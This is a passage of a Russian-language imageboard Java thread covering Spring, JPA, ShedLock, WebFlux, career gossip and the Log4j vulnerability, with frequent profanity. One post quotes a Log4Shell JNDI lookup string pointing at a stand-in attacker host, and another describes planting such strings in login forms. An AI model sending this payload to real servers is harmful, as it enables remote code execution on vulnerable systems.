Или у нас Говно фонтанирует большими новыми фичами? Да тоже нет https://go.dev/doc/go1.17 напилили какой-то херни для стрельбы в ногу и всё а рантайм вообще не менялся.
Или может в жопаскрипт нормальную типизацию подвезли тайп скрипт это такие же костыли как и дженерики в джаве?
Аноним 10/12/21 Птн 13:36:24 2233901126
>>2233817
> новый свитч, паттерн матчинг, можно удобно писать большие строки, реактивные стримы, foreign memory access, шенандоа ГЦ
Откуда ты всё это знаешь? Где ты эту информацию берёшь?
Аноним 10/12/21 Птн 13:45:15 2233909127
1407520883877.jpg 24Кб, 400x386
400x386
>>2233894
> мелоч
> улучшили перфоманс
Аноним 10/12/21 Птн 13:52:59 2233912128
>>2233868
Хорошо что пояснил, а то я подумал мидл спрашивает.
Аноним 10/12/21 Птн 13:57:33 2233915129
>>2233901
Не задавай лишних вопросов.
Аноним 10/12/21 Птн 14:12:07 2233923130
>>2233912
Пердеть жидким калом с гавном хихиххи))))
Аноним 10/12/21 Птн 14:19:26 2233925131
>>2233923
Не ожидал встретить итт своего лида.
Аноним 10/12/21 Птн 14:21:48 2233927132
>>2233925
Хватит на дваче сидеть,или вкатышам помоги
10/12/21 Птн 14:32:38 2233931133
>>2233909
В JDK каждый релиз вносят улучшения в JIT. Но местные иксперты все равно рассказывают, что джава не равивается и вообще нужно на сисярп/говно/жопаскрипт переходить.
Аноним 10/12/21 Птн 14:39:07 2233934134
>>2233931
Они траллят просто.
Аноним 10/12/21 Птн 14:41:28 2233936135
>>2233931
Все равно никто не использует новые версии, а сидят на 8.
>нужно на сисярп/говно/жопаскрипт переходить
Да, нужно
Аноним 10/12/21 Птн 14:45:40 2233940136
>>2233680
Так он ине будет ничего пояснять. Просто трогаешь технологии в режиме магии, а потом их изучаешь в другом месте.
Аноним 10/12/21 Птн 15:00:05 2233950137
>>2233940
Ну и нахуй их тогда трогать вообще? Трогай сразу где будешь изучать. У Алишева например довольно полное погружение с пояснениями, хоть в итоге и охвачен какой-то мизер, но зато нормально +/-
Аноним 10/12/21 Птн 15:08:45 2233954138
>>2233680
Поздно вкатываться.
10/12/21 Птн 15:47:12 2233976139
>>2233868
Зачем тебе поднимать контекст?
Просто делай
Service s = new Service()
Аноним 10/12/21 Птн 16:41:45 2234039140
Нужно хранить аватарки локально: в папке resources проекта или в аргументах командной строки указывать путь к папке на диске?
10/12/21 Птн 17:12:46 2234098141
10/12/21 Птн 17:18:52 2234106142
>>2234039
Ресурсы ридонли
Если это какие-то стандартные аватарки, которые надо показывать и не надо изменять, можно и в ресурсы. Но если юзеры могут грузить свои, ла, придётся создавать папку и брать путь к ней из какого-нибудь конфига. Или хранить аватарки в БД.
Аноним 10/12/21 Птн 17:23:04 2234110143
Аноним 10/12/21 Птн 18:12:23 2234166144
>>2233764
Очевидный бэкдор, не зря это говно полтора калеки юзало
Аноним 10/12/21 Птн 18:25:23 2234191145
10/12/21 Птн 18:36:04 2234210146
>>2234191
Спринг давно уж все.
Аноним 10/12/21 Птн 18:46:23 2234227147
Аноним 10/12/21 Птн 18:48:39 2234230148
>>2234210
Нет, не всё. Анало говне т.
Аноним 10/12/21 Птн 19:35:18 2234287149
Аноны, я чет отупел максимально. Надо настроить @Scheduled так, чтобы работал только на одном инстансе. Нашел библиотеку ShedLock, но не понимаю что нужно указывать в lockAtLeastFor и lockAtMostFor и надо ли.

Допустим, моя таска выполняется каждые 5 минут, выполнение этой таски занимает 1 секунду. Что надо писать в эти поля, чтобы другие инстансы не выполняли эту же самую джобу?
10/12/21 Птн 19:36:18 2234290150
>>2234287
Какие нахуй инстансы?
10/12/21 Птн 19:40:35 2234296151
>>2234287
Юзай quartz. Даже интеграция со спрингом есть
10/12/21 Птн 19:42:08 2234299152
>>2234287
>>2234296
Сорре, херню высрал. Шедлок это альтернатива кварцу
Аноним 10/12/21 Птн 19:42:18 2234300153
Аноним 10/12/21 Птн 19:43:27 2234304154
>>2234296
Сложна, непонятно, не нужно. У меня не дохуя запланированных задач, всего одна, сложной логики там никакой нет
>>2234290
Ноды, экземпляры приложения, количество одновременно запущенных копий, называй как хочешь
10/12/21 Птн 19:44:22 2234305155
>>2234304
>Ноды, экземпляры приложения, количество одновременно запущенных копий, называй как хочешь
И как ты их синхронизируешь между собой?
10/12/21 Птн 19:44:44 2234306156
>>2234290
>>2234300
Горизонтальное масштабирование.
Копии приложения запускаются на нескольких машинах, чтобы увеличить пропускную способность. Один процесс приложения - 1 инстанс
Аноним 10/12/21 Птн 19:45:16 2234307157
>>2234304
Балансировщик нагрузки какой используешь? Zookeeper?
Аноним 10/12/21 Птн 19:45:41 2234308158
>>2234306
>чтобы увеличить пропускную способность. Один процесс приложения - 1 инстанс
Благодарю за объяснение! Сколько лет в профессии, если не секрет?
Аноним 10/12/21 Птн 19:46:30 2234310159
>>2234305
>>2234307
Никак, нихуя не использую, пока по одному инстансу каждого приложения запущены
10/12/21 Птн 19:47:00 2234312160
Аноним 10/12/21 Птн 19:47:36 2234318161
Епту бля вы нахуя левые вопросы задаете, ответьте сука максимально просто – что писать в lockAtLeastFor и lockAtMostFor?
10/12/21 Птн 19:47:44 2234319162
>>2234310
Ну так озаботься этим вопросом. Ответ на твой изначальный вопрос получишь автоматически.
Аноним 10/12/21 Птн 19:50:20 2234323163
>>2234319
Не я забочусь этим, к счастью, а лид. Мне достаточно настроить ShedLock, нахуя мне конкретно в этой задаче балансировщики? Или ты предлагаешь через Zookeeper или другую хуйню это делать? Сразу нет – лока будет в таблице в БД постгрес
Аноним 10/12/21 Птн 19:53:21 2234326164
>>2234312
Хуясе. а как ты до такого так быстро дошёл?
Аноним 10/12/21 Птн 19:54:00 2234327165
>>2234323
> нахуя мне конкретно в этой задаче балансировщики?
А нахуя тогда вам несколько инстансов одного приложения, ололош?
10/12/21 Птн 19:54:34 2234328166
>>2234326
До этого 4+ года олимпиадками занимался
Аноним 10/12/21 Птн 19:55:45 2234329167
>>2234328
Бинарный поиск по памяти напишешь?
Аноним 10/12/21 Птн 19:56:08 2234330168
>>2234326
Дело нехитрое, я вот ещё не вкатился, но тоже знаю про это.
10/12/21 Птн 19:57:16 2234332169
>>2234329
Arrays.binarySearch()
конечно
Аноним 10/12/21 Птн 19:57:28 2234333170
>>2234330
> я вот ещё не вкатился, но тоже знаю про это.
У тебя комплекс отличника или что?
10/12/21 Птн 19:58:53 2234334171
Аноним 10/12/21 Птн 20:02:12 2234339172
>>2234333
Нет, у меня только Эдипов комплекс.
Аноним 10/12/21 Птн 20:03:44 2234341173
>>2233936
Ну у нас в помойном легаси энтерпрайз-банке уже джава 15 с микросервисами и вебфлюхом есть. Да, местами на 8 все еще сидим, но готовимся к переезду на новые версии
10/12/21 Птн 20:04:36 2234343174
>>2234341
Что за банк, если не секрет?
Аноним 10/12/21 Птн 20:06:28 2234346175
>>2234343
Ноунейм говно, про которое ты вероятно не слышал, Металлинвестбанк
Аноним 10/12/21 Птн 20:07:40 2234349176
>>2234341
> вебфлюхом есть
Это что такое?
Аноним 10/12/21 Птн 20:08:27 2234350177
>>2234349
spring webFlux

чтобы в неблокирующем режиме обрабатывать хттп запросы
10/12/21 Птн 20:10:06 2234352178
>>2234350
>чтобы в неблокирующем режиме обрабатывать хттп запросы
А своими словами слабо?
10/12/21 Птн 20:14:04 2234356179
>>2234352
Реактивные стримы. Про это лучше самому почитать
10/12/21 Птн 20:15:51 2234359180
>>2234356
Понятно, значит просто услышал хайповое слово и повторяешь, а сам даже не представляешь, как оно работает.
Аноним 10/12/21 Птн 20:16:25 2234360181
>>2234350
Круто, это типа для высокой нагрузки тема?
Аноним 10/12/21 Птн 20:16:36 2234361182
>>2234359
Очередной вид троллинга в джава треде?
Аноним 10/12/21 Птн 20:17:00 2234362183
>>2234359
> а сам даже не представляешь, как оно работает.
А ты всегда прежде чем заюзать новую либу, идёшь в спецификацию и документацию и изучаешь их?
10/12/21 Птн 20:19:25 2234368184
>>2234362
Разумеется. Не досконально, но как минимум на общем уровне я имею представление как работает то, что я использую.
10/12/21 Птн 20:20:05 2234369185
>>2234359
В основе используется пуш модель.
Очень грубо говоря, это выглядит так: ты говоришь (например монге) дай мне вот это, и когда будет результат, сделай вот это. Из таких вещей строится пайплайн, который делает различные модификации данных в потоке. Как итог, тебе не нужно блокировать поток, пока ты ждёшь результат твоего запроса, и в это время он может выполнять другую полезную работу
покормил
Аноним 10/12/21 Птн 20:20:27 2234370186
>>2234360
Да, когда поступает одновременно много запросов в секунду.
10/12/21 Птн 20:23:57 2234373187
>>2234369
Ну то есть это коллбэки. А хттп-запросы тут причем? Там модель запрос-ответ.
10/12/21 Птн 20:29:51 2234383188
>>2234373
Это альтернатива коллбекам. на сайте реактора даже примеры с коллбеками есть
По хттп ты можешь стримить данными. Получается что-то вроде sse, только со своей спецификацией и возможностью строить такой реактивный стрим через несколько микросервисов, например
Аноним 10/12/21 Птн 21:47:09 2234519189
А кто в банках решает,что надо перекатывать версию джавы?
Аноним 10/12/21 Птн 22:17:33 2234547190
>>2234519
Где-то в руководстве решают. CTO/техлиды выбивают деньги и время на это. Но в целом и так очевидно, если версию жабы не перекатывать, то в банках до сих пор бы писали на java 1.4, а скорее всего и вовсе на коболе.
10/12/21 Птн 22:27:08 2234552191
>>2234383
>По хттп ты можешь стримить данными
Покажи место в RFC, где такое написано.
Аноним 10/12/21 Птн 22:44:21 2234564192
>>2234519
Архитекторы, которые сидят где-то наверху, либо говорят, что надо обновить какую-нибудь технологию на более новую версию, либо могут объявить технологию "нецелевой" и сказать, что надо отказаться от её использования по таким-то и таким-то причинам. Спорить с ними очень сложно, можно только согласовать сроки миграции. Инициатива об отказе от EE-говна и переката на спринги и микросервисы идёт именно от них хотя на более модный стек легче найти разрабов.
11/12/21 Суб 00:07:18 2234626193
Аноним 11/12/21 Суб 05:04:50 2234679194
Ну что джаваны, обкакунькалися опять, китайцы уже залезли в ваше сервера с log4j запуская любой код просто записав в лог ${jndi:ldap://attacker.com/pwnyourserver}
Аноним 11/12/21 Суб 09:41:32 2234714195
>>2234679
Джава мертва, нужно перекатываться на .net6
11/12/21 Суб 10:03:35 2234722196
>>2234679
Все адекватные люди юзают logback
Аноним 11/12/21 Суб 12:14:44 2234751197
Не имею ни малейшего понятия о разработке на жабе. Правильно ли я понимаю что из-за log4j все старые версии клиента майнкрафта стали уязвимыми, и останутся таковыми в будущем? Или с обновлением библиотеки дыру пофиксят?
Аноним 11/12/21 Суб 12:19:46 2234752198
>>2234679
java is dead
oracle is dead
ibm is dead
red hat is dead

java - технология давно минувшего прошлого
Аноним 11/12/21 Суб 12:38:55 2234758199
>>2234752
Это нихуя не проблема, реальная проблема, что в теории последние несколько лет энтерпрайз на джаве стоял голый перед всякими китайскими хацкерами. Масштабы пиздеца представили?
Аноним 11/12/21 Суб 12:41:25 2234759200
>>2234751
Тебе через лаунчер должны предложить обнову
Аноним 11/12/21 Суб 13:24:40 2234797201
Яндексоиды здесь? Сколько у вас проектов пишется на джаве? Много или не очень? Сам вкатываюсь в жабу, и очень хочу на стажировку к вам попасть.
Аноним 11/12/21 Суб 14:09:30 2234820202
Пацаны, а java и javascript это ведб одно и тоже? Почему тогда два треда на нулевой?
11/12/21 Суб 15:35:26 2234872203
Аноним 11/12/21 Суб 15:39:38 2234874204
>>2234797
>Яндексоиды здесь? Сколько у вас проектов пишется на джаве?
-40% примерно
Аноним 11/12/21 Суб 17:01:23 2234951205
Мне кажется стейкхолдеры этого треда не правы в своем подходе.
Как раз из-за того, что этот тред раз в пару месяцев на неделю и вылезает из бамплимита и стимулирует троле-дебичей тут срать всю эту неделю.
Аноним 11/12/21 Суб 17:05:22 2234955206
15296679622rxvd[...].jpg 81Кб, 807x454
807x454
>>2234820
Да - одно и то же. Если пишешь на ООП, то это java, а если пишешь скрипты, то javascript.
11/12/21 Суб 17:08:06 2234960207
>>2234951
Раньше вроде по 500 и перекатывались. От троллинга это не спасало
Аноним 11/12/21 Суб 17:11:26 2234963208
>>2234951
Пишите в тред с сажей тогда, чтобы не всплывал и троллей не приманивал.
Аноним 11/12/21 Суб 19:13:54 2235154209
Ананас, помоги пожалуйста с JPA. Вот есть persist. Про него написано, что он используется для сохранения новых сущностей. Но какая сущность считается новой, никто особо не поясняет.

Та, id которой нет в БД? Вроде кажется логичным (как ещё определять, есть сущность или нет?), но баелдунг пишет, что persist с уже имеющейся (что бы это ни значило) сущностью бросает эксешпен сразу же на вызове, не дожидаясь flush или commit. Получается, JPA как-то сразу, до запроса к базе выясняет, есть ли эта сущность в ней или нет? Как?
11/12/21 Суб 19:23:42 2235165210
>>2235154
Юзай JdbcTemplate и не еби себе мозг.
Аноним 11/12/21 Суб 19:24:29 2235168211
image.png 22Кб, 841x220
841x220
image.png 12Кб, 381x210
381x210
Помогите понять как принять запрос из скрипта JS на страничке. Написал вот такой контроллер , но браузер показывает ошибку 403 каждый раз.
Аноним 11/12/21 Суб 19:30:32 2235178212
>>2235168
Ты хоть один туториал по спринговым рест-контроллерам читал, или наугад всё пишешь?
> @Controller
@RestController
> @PostMapping(value = "test", produces = {"text/html; charset=UTF-8"})
@PostMapping("test")
> public void test() {
public String test() {
> System.out.println("Ты пидор");
return "Ты пидор";
Аноним 11/12/21 Суб 19:33:17 2235180213
>>2235165
На собесах любят ебать мозги хибером. Меня на нескольких заставляли вспоминать методы энтитименеджера, хотя я всегда пользовался только спринг-датой.
Аноним 11/12/21 Суб 19:42:44 2235186214
>>2235178
Я туда щас все подряд перебором пишу , потому что я 403 получаю при любом раскладе.
Аноним 11/12/21 Суб 19:50:55 2235195215
>>2234751
>клиента майнкрафта
сервера майнкрафта ломали, которые на жабе17 работают
Аноним 11/12/21 Суб 19:52:46 2235199216
>>2235180
> любят ебать мозги хибером
если вспомнишь методы и аннотации хибера будут ебать мозг медодами jpa
11/12/21 Суб 19:54:41 2235202217
Аноним 11/12/21 Суб 19:57:43 2235205218
1639220216194.png 57Кб, 1183x1034
1183x1034
>>2235202
ну мне так на форчане сказали, а вобще это фича
Аноним 11/12/21 Суб 19:58:23 2235206219
>>2235168
В общем это spring security блокировал пост запросы. Подскажите как csrf настроить что бы он не блочил пост запросы.
Аноним 11/12/21 Суб 20:12:40 2235212220
Аноним 11/12/21 Суб 20:23:38 2235233221
Чому на jocker/jpoint больше нет нормальных выступлений и докладов? В этом году только у жени борисова был годный доклад, все остальное - говно, на котором просто рассказывали обо всем и ни о чем одновременно + сами докладчики были довольно старыми, на вид все 40+.
Даже доклад про кваркурс и тот превратили в говно с шутками-прибаутками от ведущих. Платформа jvm чтоли сдохла окончательно? На cpp russia и zero cost conf от яндекса и то уровень докладов был в разы выше.
Аноним 11/12/21 Суб 20:33:20 2235243222
>>2235233
А что ты хотел услышать на докладах? В С++ так-то новый стандарт подвезли совсем недавно с новыми фичами, а в джаве что? Доклады ранних лет были годными, потому что в java 8 появилось много новых фич + была потребность в докладах по кишочкам спринга и jmm. Был конкретный запрос - были доклады по конкретной теме. Сейчас же конференцию вроде как и нужно провести, а докладывать нечего. Спринг 6 выйдет через год, но на него очень мало кто перейдет, лума и вальхаллы еще очень долго не будет, кваркус и микронавт никогда не смогут занять нишу спринга, а про всякие паттерг матчинги и большие строки рассказывать на докладе смысла особо-то и нет.
Аноним 11/12/21 Суб 20:56:42 2235255223
>>2233165
Странно, что рабочий exe не вышло сделать. Только батник.
Кстати, как запускают в продакшене программы с javafx под виндой?
Аноним 11/12/21 Суб 21:02:04 2235258224
>>2235255
> Странно, что рабочий exe не вышло сделать. Только батник.
Конечно не вышла, jlink такого не умеет.
> Кстати, как запускают в продакшене программы с javafx под виндой?
Либо через батник, который запускает жарник через java.exe, либо пишут на плюсах/шарпе экзешник, который делает то же самое.
Аноним 11/12/21 Суб 21:03:34 2235259225
>>2235233
>на вид все 40+.
А что в этом такого? Опытные дядьки. Есть вероятность, что будет минимум шуток и больше полезной информации.
Аноним 11/12/21 Суб 21:06:06 2235262226
>>2235258
Я просто подумал, что можно сделать exe не только через launch4j (Который так мне не смог этого сделать).
>либо пишут на плюсах
Хыыы. Так и сделал.
Аноним 11/12/21 Суб 21:11:51 2235266227
На удивление приятно удивлён адекватности и отзывчивости в треде. Такого не было раньше. Года 2 не заходил в /pr т.к. в том же С++ тредах был филиал нулевой с дикарями. А в этом треде через пост обсуждали петухов пишущих на джава. Неужели происходит отток рака?
Аноним 11/12/21 Суб 21:14:37 2235270228
>>2235259
>Есть вероятность, что будет минимум шуток и больше полезной информации

Не, нихуя. Тот же доклад про кваркус в говно превратили. Ну и обсуждение фич, которые не вышли в 17 версии тоже получилось не обсуждением, а скорее цирковым представлением.

Да и даже если 40+, то не страшно. Я просто там совсем каких-то деда и бабку увидел в докладе про jakarata ee, там и просмотров было меньше всего. Страшно то, что докладов нормальных нет нихуя. Ну вот вообще кал полный. Раньше хоть леха шипилев и борисов что-то годное представляли, а сейчас дно полнейшее.
Аноним 11/12/21 Суб 21:18:16 2235274229
Если объекты выровнены по границе 8 байт, то это же значит, что адрес объекта всегда будет кратен 8?
11/12/21 Суб 21:20:08 2235276230
>>2235274
Спроси в крестотреде.
Аноним 11/12/21 Суб 21:21:15 2235277231
>>2235270
Да у нас вообще с обучением беда. Чего стоят только переводные книжки с вырезанными главами. Или сколько генерируют бесконечного потока инфо шума.
Чтобы научиться нужно жизнь на алтарь положить. И всё равно найдутся умники, которые посчитают своим долгом обесценить твои труд, умения или знания.
Аноним 11/12/21 Суб 21:42:54 2235297232
Тащем-то на последних конференциях тоже были неплохие доклады. Леха шипилев тоже докладывался в этом году.
Но вообще странно ожидать, что каждый спикер будет представлять умопомрачительные технологии.
Аноним 11/12/21 Суб 23:00:42 2235372233
А надо присваивать null ненужным обьектам, чтобы экономить память?
Аноним 11/12/21 Суб 23:14:28 2235384234
>>2235372
Чтобы экономить память, надо писать на C++.
Аноним 11/12/21 Суб 23:19:04 2235388235
>>2235384
Только на нем написаны самые жрущие память проги/игоры. Страшно представить что это еще с экономией.
Аноним 11/12/21 Суб 23:19:16 2235389236
Как можно заблокировать метод, внутри которого выполняется асинхронный запрос через WebClient?

yobaMethod() {
yobaService.callAsyncYoba();
//тут надо поймать исключение, которое выбрасывается в другом потоке
}

Могу ли я обернуть yobaService.callAsyncYoba() в какой-нибудь Mono или CompletableFuture и сделать вызов синхронным?
Аноним 11/12/21 Суб 23:24:41 2235398237
>>2235388
Да, страшно представить, какие мощные суперкомпьютеры понадобились бы, чтобы запустить эти проги/игры, если бы их написали на жабе. Одна IDEA чего стоит.
Аноним 12/12/21 Вск 02:29:42 2235543238
>>2234287
Братишка, ты доку-то читал своей херни? Там же всё написано. Если выполнение таски занимает 1 секунду с перерывом 5 минут, то ставь lockAtMostFor где-нибудь на 4 минуты 58 секунд, чтобы если года наебнулась она освободила лок перед тем как другая таска запустится. Min видимо можно не ставить, потому что за 1 секунду ноды должны засинкаться. Но если хочется поставь пару секунд, чтобы таска точно успела выполниться

You can also set lockAtMostFor attribute which specifies how long the lock should be kept in case the executing node dies. This is just a fallback, under normal circumstances the lock is released as soon the tasks finishes. You have to set lockAtMostFor to a value which is much longer than normal execution time. If the task takes longer than lockAtMostFor the resulting behavior may be unpredictable (more than one process will effectively hold the lock).

If you do not specify lockAtMostFor in @SchedulerLock default value from @EnableSchedulerLock will be used.

Lastly, you can set lockAtLeastFor attribute which specifies minimum amount of time for which the lock should be kept. Its main purpose is to prevent execution from multiple nodes in case of really short tasks and clock difference between the nodes.
Аноним 12/12/21 Вск 07:14:12 2235557239
>>2235255
Странно, ведь если следовать гаду по ссылке получается рабочий ехе.
Аноним 12/12/21 Вск 07:22:08 2235560240
>>2235389
> Как можно заблокировать метод, внутри которого выполняется асинхронный запрос через WebClient?
Заблокировать всмысле поток или для синхронизации?
> //тут надо поймать исключение, которое выбрасывается в другом потоке
Выбрасывается в callAsyncYoba? Если он вовзращает фьючер, просто await в yobaMethod вызови и все
Аноним 12/12/21 Вск 07:24:08 2235561241
Аноним 12/12/21 Вск 11:05:17 2235619242
А чё jpa,spring data и jdbc template это не одно и то же? Нихуя се
12/12/21 Вск 11:28:05 2235632243
>>2235619
Jpa - спецификация по работе с бд и орм
Spring data - дата-фреймворк спринга, который упрощает работу с jpa
Jdbc template - обёртка над дефолтным jdbc, который упрощает работу с jdbc
Аноним 12/12/21 Вск 12:05:35 2235638244
>>2232293 (OP)
Посоветуйте книгу или статьи, где понятным языком разобраны уровни изоляции транзакций и когда какой уровень выбирать при написании кода, который работает с БД. Постоянно попускают на собеседованиях на этой теме.
12/12/21 Вск 12:18:47 2235644245
>>2235638
> Посоветуйте книгу или статьи, где понятным языком разобраны уровни изоляции транзакций
Любую статью хоть на википедии.
> когда какой уровень выбирать при написании кода, который работает с БД.
Всегда во всех проектах использовать read committed. Для данных, которым в ходе транзакции меняться нельзя, использовать select for update/dbms_lock.
Аноним 12/12/21 Вск 12:35:25 2235647246
>>2232299
.NET только под винду работает
Аноним 12/12/21 Вск 12:39:38 2235648247
>>2232293 (OP)
Lombok используется в реальных проектах или это плохая практика?
>>2235647
Кроссплатформа кроме десктопа, но там тоже делают фреймворк для windows/mac os
Аноним 12/12/21 Вск 13:21:06 2235651248
Аноним 12/12/21 Вск 13:30:17 2235653249
>>2235632
Как можно упрощать спецификацию?
12/12/21 Вск 13:32:57 2235655250
>>2235648
Ломбок используется. Но на легаси не встречал
Аноним 12/12/21 Вск 13:37:55 2235660251
>>2235647
С подключением, .нет кор на всех трёх платформах работает уже 10 лет. Что гуй, что их серверные фреимворки
12/12/21 Вск 13:39:18 2235661252
>>2235653
Спринг дата не упрощает спецификацию. Она оборачивает ее и предоставляет свой интерфейс, чтобы тебе было быстрее и проще писать запросы в базу
12/12/21 Вск 13:43:07 2235662253
>>2235186
>Я туда щас все подряд перебором пишу
Понятно, настоящий программист
12/12/21 Вск 13:43:35 2235664254
>>2235651
Все используют logback.
Аноним 12/12/21 Вск 13:49:23 2235673255
12/12/21 Вск 13:51:29 2235675256
>>2235372
>А надо присваивать null ненужным обьектам, чтобы экономить память?
Полям - нужно, локальным переменным - обычно нет, потому что нормальный метод должен выполниться быстро и все локальные переменные будут освобождены и без тебя.
Аноним 12/12/21 Вск 14:22:27 2235699257
Для чего вообще логгеру уметь в JNDI? Разделение ответственности идёт куда? Не удивлюсь, если современные логгеры уже тьюринг-полные и умеют в гуй нахуй.
12/12/21 Вск 14:53:35 2235739258
Аноним 12/12/21 Вск 14:53:57 2235740259
>>2235660
Они купили проект моно и назвали его кор, но прикрутить всё, чтобы во дотнет фреймворке, не смогли.
Анон 12/12/21 Вск 14:59:32 2235752260
Вопрос, есть задача сделать консольное приложение "Кинотеатр", есть основные обьекты: пользователь, фильм и билет, хранение информации: БД. Я реализовал репозитории: фильма, билета. Теперь вопрос, как реализовать уровни доступа пользователя(простой пользователь, менеджер и админ). Можно ли сделать это через enum?
Если что-то написал не так, прошу не кидать камнями, я еще только учусь
12/12/21 Вск 15:01:46 2235754261
>>2235740
Так у Моно же другая кодовая база. Получается что JIT, GC и прочие системные вещи в .Net Core свои, не те что в обычном .Net Framework? Или они уже портировали?
Аноним 12/12/21 Вск 15:47:57 2235785262
>>2235754
Это две совершенно разные платформы. Если написал программу на фреймворк, то она не запустится на кор и наоборот. На машины ставятся две платформы, если надо и то и то запускать.
12/12/21 Вск 15:54:59 2235791263
>>2235752
У пользователя будет поле "роль" (или список ролей), соответствующее твоему енуму. При любых действиях проверяешь, есть ли у юзера нужная роль, если нет, ругаешься.
Обычно для такого юзают Shiro или Spring Security, но если у тебя проект без либ и фреймворков, пиши всё руками.
Аноним 12/12/21 Вск 16:06:39 2235798264
Аноним 12/12/21 Вск 16:22:59 2235818265
>>2235664
скоро и этот ляжет
срок 3 дня
Аноним 12/12/21 Вск 17:41:57 2235881266
>>2235818
log4j дырявый с 2013 года был пока зумеры майнкрафт не начали прямо из чата ломать
Аноним 12/12/21 Вск 21:41:12 2236081267
Ух в понедельник на работу, выпиливать log4j из всего говна, думаю там уже китайцы все скачали за выходные
Аноним 12/12/21 Вск 21:46:13 2236092268
>>2236081
А прикинь как бы питонисту пришлось грепать по проекту и заменять вызовы 100500 импортированных кусков библиотеки на обертки
Аноним 12/12/21 Вск 21:50:26 2236098269
>>2236081
Что, никаких клиентских сертификатов, VPN, реверс-прокси, прям голый сервер приложений торчит в Интернет? Выпил log4j вряд ли тебя спасёт.
Аноним 12/12/21 Вск 22:26:53 2236136270
>>2236098
так все корпорации фанга уже хакнули, тупо в форму логина запихивают строку чтобы она логировалась и все
12/12/21 Вск 23:41:50 2236194271
12/12/21 Вск 23:49:46 2236198272
>>2236194
Попадалось как-то в гайдах по миграции на 11 жабу, как подключать выпиленный JAXB только начиная с 11 версии. Вообще, там полно подобных малоизвестных фокусов, заходишь в помники чужих проектов и думаешь: "А что, так можно было?".
13/12/21 Пнд 12:55:46 2236459273
>>2236194
Можно, но не нужно. Потому что например у тебя локально и на билд сервере может по разному обновиться версия. И ты билдишь с 1.1 и у тебя все ОК, а сервер с 2.0-alpha и там кровь кишки распидорасило.
Аноним 13/12/21 Пнд 14:27:49 2236563274
>>2234758
Хорошо что я как криворукий долбоеб все всегда ручками логировал в файл
Аноним 13/12/21 Пнд 14:39:37 2236572275
Кто-нибудь может посоветовать лекцию по самым основам программирования? - интерпретаторы, компиляторы, скрипты, код итд. А то вдруг понял, что понятия не имею, что такое интерпретатор.
13/12/21 Пнд 14:47:05 2236582276
13/12/21 Пнд 15:03:51 2236600277
Аноним 13/12/21 Пнд 16:28:46 2236677278
image.png 76Кб, 749x634
749x634
Как можно улучшить это говно?
Аноним 13/12/21 Пнд 16:35:45 2236682279
>>2236677
Не использовать float для денег.
13/12/21 Пнд 16:42:46 2236695280
>>2236682
Использовать нет, не BigDecimal, а long
Аноним 13/12/21 Пнд 16:55:41 2236719281
>>2236695
Да, в его случае лонг будет заебись.
Аноним 13/12/21 Пнд 17:10:26 2236745282
>>2236677
Ради причия заменил бы totalDollars = totalDolalrs + dollars; на лаконичное totalDollars += dollars;
Сделал бы вывод аккуратнее. Для числа 5 у тебя получится неграмотное выражение - "Средняя цена покупки за 5 ордера: ..."
Почему переменная total не используется совсем?
И в целом - какую проблему ты этим кодом решаешь?
Аноним 13/12/21 Пнд 17:24:12 2236762283
>>2236745
Ну например ты хочешь купить биток, ожидаешь что цена будет снижаться, у тебя есть 1000 баксов, на 48к ты покупаешь на 150, на 44к на 200, на 38к на 250, на 30к на 350 и узнать среднюю цену всех твоих покупок, что бы прикинуть как лучше раскидать средства, сколько ордеров делать и тд.
Аноним 13/12/21 Пнд 17:36:00 2236773284
>>2236762
Даже в твоём примере прямо разделяются ордер и деньги. Наверное, тогда стоит эти сущности разделить и в коде? Вдруг вместо биткойна захочешь другую валюту использовать?
Аноним 13/12/21 Пнд 17:43:25 2236777285
>>2236773
> Вдруг вместо биткойна захочешь другую валюту использовать?
Не, зачем покупать скам?
Че я бы хотел добавить это ввод цены покупки и суммы в одну строку, например биток за 45000 300, через пробел указать цену и что бы программа сама поняла что есть что, а не жмякать лишний раз энтер в консоль и прописывать дополнительно.
Аноним 13/12/21 Пнд 21:45:54 2236996286
Аноним 13/12/21 Пнд 22:03:23 2237005287
>>2236996
Предполагаю потому что не настоящий проект и поэтому похуй. Хотя конечно если нужна высокая точность, то bigdecimal необходим. На одном проекте видел вживую, как чуваки начали использовать числа с плавающей точкой и в итоге у них перестали остатки сходиться, потом пиздюли были знатные
Аноним 13/12/21 Пнд 23:12:00 2237045288
>>2236677
order надо ограничивать, а то введут -1 или миллион
Аноним 14/12/21 Втр 06:58:58 2237175289
>>2236677
Если доебаться по максимуму:
1. Нахуя ты сохраняешь "одноразовые" значения в переменные, если ничто не мешает их тупо заинлайнить?
2. Нахуя ты юзаешь форму x = x + А если есть прекрасная x += А?
3. Сильно не вникал, но уверен что сущность "coin" там нахуй не нужна, она какой-то промежуточный контейнер для хранения какого-то частного от деления чтоб потом это все сложить. Бред пиздец. Что тебе мешает просто сложить все "доллары" и поделить на n?
4. Всякий раз, когда тебе лень ебаться с грамматической нормализацией формы вывода, делай что-то вроде "Средняя цена покупки ордера (%N% шт.)". Тогда не будет хуйни вроде "за 8 часа я прошел 7 километр"
5. Не пили логику в мейн. Делай метод-экстракт. Хотя сразу видно что это не рабочий прожект, так что это доебка
6. Дрочить на float вместо double, во имя какой-то там экономии - сомнительные анальные пляски. Чревато это тем, что многие библиотеки работают с double, и когда все это начнет мешаться, у тебя всюду будут заебывающие тайп-касты.
Аноним 14/12/21 Втр 10:06:55 2237219290
Народ, может кто посоветовать что, по camunda BPM, по(читать/смотреть)?
Аноним 14/12/21 Втр 11:33:14 2237290291
image.png 88Кб, 1098x289
1098x289
Что важно знать при формировании стратегии поиска:

Традиционно, самые дорогие Java разработчики сидят в финтехе.
Несмотря на высокие зарплаты, вам могут попасться джависты из финтеха с довольно низкой квалификацией. Причина в том, что в некоторых финтех компаниях разработчики могут делать минорные фичи и делать их в стол, профессиональный скилл при долгой такой работе может деградировать.
Более низкие зарплатные ожидания у джавистов из интеграторов и энтерпрайза.
Java — язык, куда многие хотят попасть. Количество джунов в профессии растет. Это хорошо и плохо одновременно. Плохо, потому что часть выпускников скоростных курсов знают только Spring и не могут написать "Hello world!" без запуска IDE.


Джависты, чому вы такое говно по мнению херок?
Аноним 14/12/21 Втр 11:38:35 2237294292
>>2237290
Я наоборот нихуя не знаю кроме пуре-джавы, особенно спринг. Последствия самовката.
Сомневаюсь что это может быть плюсом, лол. Уж лучше наоборот
Аноним 14/12/21 Втр 12:27:27 2237325293
>>2237294
Ну бывают иногда слышу про мемные истории, как вкатун после курсов пришел на собес и не знает, что такое цикл for, хотя имеет несколько петпроджектов со спрингом на гитхабе.
